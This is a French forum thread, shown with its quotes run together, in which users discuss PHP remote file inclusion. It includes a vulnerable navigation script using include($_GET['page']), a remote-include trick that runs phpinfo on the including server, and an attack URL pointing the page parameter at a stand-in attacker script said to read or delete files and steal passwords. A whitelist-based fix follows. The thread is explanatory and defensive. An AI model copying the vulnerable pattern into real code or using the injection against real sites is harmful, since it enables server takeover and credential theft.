<?php include "http://widehost/included.php"; ?>
http://widehost/included.php<?php echo '<'.'?php phpinfo(); ?'.'>'; ?>
Ce n'est pas parce que le fichier est sur un serveur distant et donc déjà interprété (et encore, je suis passé outre le fait qu'on peut aussi très bien ne pas interprété le code sur le serveur distant, et renvoyer directement le source à inclure) que ça m'empêchera de lui faire générer du code interprétable par mon fichier local.
Je te rappelle que le phpinfo() dans ton exemple va afficher la config php du serveur widehost et non pas du localhost qui fait l'include.-
Dire que l'inclusion d'un fichier distant n'est pas dangereuse est une hérésie.
http://localhost/include.phphttp://widehost/included.php<?php include "http://widehost/included.php"; ?>Ce n'est pas parce que le fichier est sur un serveur distant et donc déjà interprété (et encore, je suis passé outre le fait qu'on peut aussi très bien ne pas interprété le code sur le serveur distant, et renvoyer directement le source à inclure) que ça m'empêchera de lui faire générer du code interprétable par mon fichier local.<?php echo '<'.'?php phpinfo(); ?'.'>'; ?>
faux, il va bel et bien afficher le phpinfo du localhostJe te rappelle que le phpinfo() dans ton exemple va afficher la config php du serveur widehost et non pas du localhost qui fait l'include.
<?php echo '<'.'?php phpinfo(); ?'.'>'; ?>
il va recevoir le résultat interprêté qui sera
<?php echo phpinfo(); ?>
qu'il va donc interprêté et afficher sa config.dans ce cas précis, le développeur de widehost est le pirate.Et si le développeur de widehost a mis un phpinfo() dans son script c'est qu'il a accepté de publier cette info.
pas de soucis voyons, on est là pour se corriger les uns les autresAh ba oui, j'ai pas bien vu le code (il y a un echo) je m'excuse, au temps pour moi Embarassed
il faut voir tout le puzzle pour comprendre, ce n'est pas sciemmentMais l'exemple n'est pas pertinent, pour quoi effectuer sciemment un include de la page du pirate ?!
... code html ...
<?php
include($_GET['page']);
?>
notre gnome utilise ce script pour sa navigation, lorsqu'un utilisateur veut aller sur la page inscription.php, le gnome met un lien suivant:Code : Tout sélectionner
http://gnome.com/?page=inscription.phpCode : Tout sélectionner
http://gnome.com/?page=http://chenapant.com/script_explorer.php
parce que c'est toi le pirate, et qu'à la place de phpinfo() tu as mis un code pour lire/effacer tous les fichiers du serveur, et récupérer des mots de passe.Mais l'exemple n'est pas pertinent, pour quoi effectuer sciemment un include de la page du pirate ?!
<?php
$rep_pages = "./mespages";
$page = isset($_GET['page']) ? $_GET['page'] : "accueil";
/* Petite vérification de sécurité */
if(file_exists($rep_pages ."/". $page))
{
switch($page)
{
case "contact" :
$afficher = $rep_pages ."/contact.php";
break;
case "accueil":
default :
$afficher = $rep_pages ."/accueil.php";
}
}
/* En option une redirection vers une page de félicitation du jury */
else
{
$afficher = $rep_pages ."/sans-genie.php";
}
include($afficher);
?>
de cette manière, tu peux bien essayer de m'injecter du code dans la page, je te souhaite bien du plaisir $page = isset($_GET['page']) ? $_GET['page'] : "accueil";
ici tu stipule que soit la page est definit dans l'url soit on redirige vers l'acceuil c'est ça? (j'ai encore du mal à saisir le sens de ?)Pour cette partie, regarde donc ICIici tu stipule que soit la page est definit dans l'url soit on redirige vers l'acceuil c'est ça? (j'ai encore du mal à saisir le sens de ?)